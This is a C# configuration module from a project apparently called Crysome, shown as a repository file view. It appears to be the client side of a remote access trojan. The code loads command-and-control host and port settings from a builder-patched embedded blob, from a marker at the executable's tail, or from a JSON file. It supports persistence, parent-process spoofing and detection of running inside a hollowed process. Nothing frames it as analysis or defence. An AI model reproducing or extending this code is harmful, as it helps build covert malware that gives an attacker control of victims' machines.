Files
crysome/Crysome.Client/Crysome.Client.Configuration/ClientConfiguration.cs
T
2026-08-27 11:22:54 -06:00

318 lines
9.9 KiB
C#

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
namespace Crysome.Client.Configuration;
public static class ClientConfiguration
{
public static string Identifier = "Crysome-01";
public static string Host = "127.0.0.1";
public static int Port = 7777;
public static string Group = "";
public static bool Persistence = false;
public static string ParentSpoof = "";
public static HashSet<string> EnabledFeatures = null;
private const string EmbeddedMarker = "##CRYCFG##";
private const char PaddingChar = '\u0001';
internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001";
private const string TailMarker = "##CRYCONFIG##";
private static bool? _isHollowed = null;
public static bool IsHollowed
{
get
{
if (_isHollowed.HasValue)
{
return _isHollowed.Value;
}
try
{
string location = Assembly.GetExecutingAssembly().Location;
if (string.IsNullOrEmpty(location))
{
_isHollowed = true;
return true;
}
string name = Assembly.GetExecutingAssembly().GetName().Name;
bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase);
_isHollowed = !flag;
return _isHollowed.Value;
}
catch
{
_isHollowed = true;
return true;
}
}
}
public static string GetProcessPath()
{
if (!IsHollowed)
{
try
{
string location = Assembly.GetExecutingAssembly().Location;
if (!string.IsNullOrEmpty(location) && File.Exists(location))
{
return location;
}
}
catch
{
}
}
try
{
string text = Process.GetCurrentProcess().MainModule?.FileName;
if (!string.IsNullOrEmpty(text) && File.Exists(text))
{
return text;
}
}
catch
{
}
try
{
string[] commandLineArgs = Environment.GetCommandLineArgs();
if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0]))
{
return commandLineArgs[0];
}
}
catch
{
}
return null;
}
public static void Init()
{
if (!TryLoadFromEmbedded() && !TryLoadFromExeTail())
{
TryLoadFromJsonFile();
}
}
private static bool TryLoadFromEmbedded()
{
try
{
string embeddedConfig = EmbeddedConfig;
if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##"))
{
return false;
}
string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0');
if (string.IsNullOrWhiteSpace(text))
{
return false;
}
Program.Log("Config found in embedded blob");
ParseJson(text);
return true;
}
catch (Exception ex)
{
Program.Log("Embedded config error: " + ex.Message);
return false;
}
}
private static bool TryLoadFromExeTail()
{
if (IsHollowed)
{
return false;
}
try
{
string processPath = GetProcessPath();
if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
{
return false;
}
byte[] array = File.ReadAllBytes(processPath);
string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length));
int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal);
if (num < 0)
{
return false;
}
string json = text.Substring(num + "##CRYCONFIG##".Length);
Program.Log("Config found in exe tail");
ParseJson(json);
return true;
}
catch (Exception ex)
{
Program.Log("Exe tail config error: " + ex.Message);
return false;
}
}
private static void TryLoadFromJsonFile()
{
string processPath = GetProcessPath();
string text = null;
try
{
text = Path.GetFileNameWithoutExtension(processPath);
}
catch
{
}
string[] array = new string[3]
{
AppDomain.CurrentDomain.BaseDirectory,
Path.GetDirectoryName(processPath),
Environment.CurrentDirectory
};
foreach (string text2 in array)
{
if (string.IsNullOrEmpty(text2))
{
continue;
}
try
{
string text3 = Path.Combine(text2, "config.json");
if (File.Exists(text3))
{
Program.Log("Loading config.json: " + text3);
ParseJson(File.ReadAllText(text3));
return;
}
if (!string.IsNullOrEmpty(text))
{
string text4 = Path.Combine(text2, text + ".config.json");
if (File.Exists(text4))
{
Program.Log("Loading alt config: " + text4);
ParseJson(File.ReadAllText(text4));
return;
}
}
}
catch (Exception ex)
{
Program.Log("Config json error: " + ex.Message);
}
}
Program.Log("No config found, using defaults (127.0.0.1:7777)");
}
private static void ParseJson(string json)
{
string text = Extract(json, "host");
string s = Extract(json, "port");
string text2 = Extract(json, "group");
string text3 = Extract(json, "persistence");
string text4 = Extract(json, "feat");
string text5 = Extract(json, "parent");
if (!string.IsNullOrEmpty(text))
{
Host = text;
}
if (int.TryParse(s, out var result) && result > 0 && result <= 65535)
{
Port = result;
}
if (!string.IsNullOrEmpty(text2))
{
Group = text2;
}
if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true")
{
Persistence = true;
}
if (!string.IsNullOrEmpty(text5))
{
ParentSpoof = text5.Trim().ToLowerInvariant();
}
if (!string.IsNullOrEmpty(text4))
{
EnabledFeatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
foreach (string text6 in array)
{
EnabledFeatures.Add(text6.Trim());
}
}
Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group);
}
public static bool IsFeatureEnabled(string key)
{
if (EnabledFeatures == null)
{
return true;
}
return EnabledFeatures.Contains(key);
}
private static string Extract(string json, string key)
{
string value = "\"" + key + "\"";
int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase);
if (num < 0)
{
return null;
}
num = json.IndexOf(':', num);
if (num < 0)
{
return null;
}
for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++)
{
}
if (num >= json.Length)
{
return null;
}
if (json[num] == '"')
{
num++;
int i = num;
bool flag = false;
for (; i < json.Length; i++)
{
if (json[i] == '\\')
{
flag = !flag;
continue;
}
if (json[i] == '"' && !flag)
{
break;
}
flag = false;
}
return json.Substring(num, i - num);
}
int j;
for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++)
{
}
return json.Substring(num, j - num);
}
}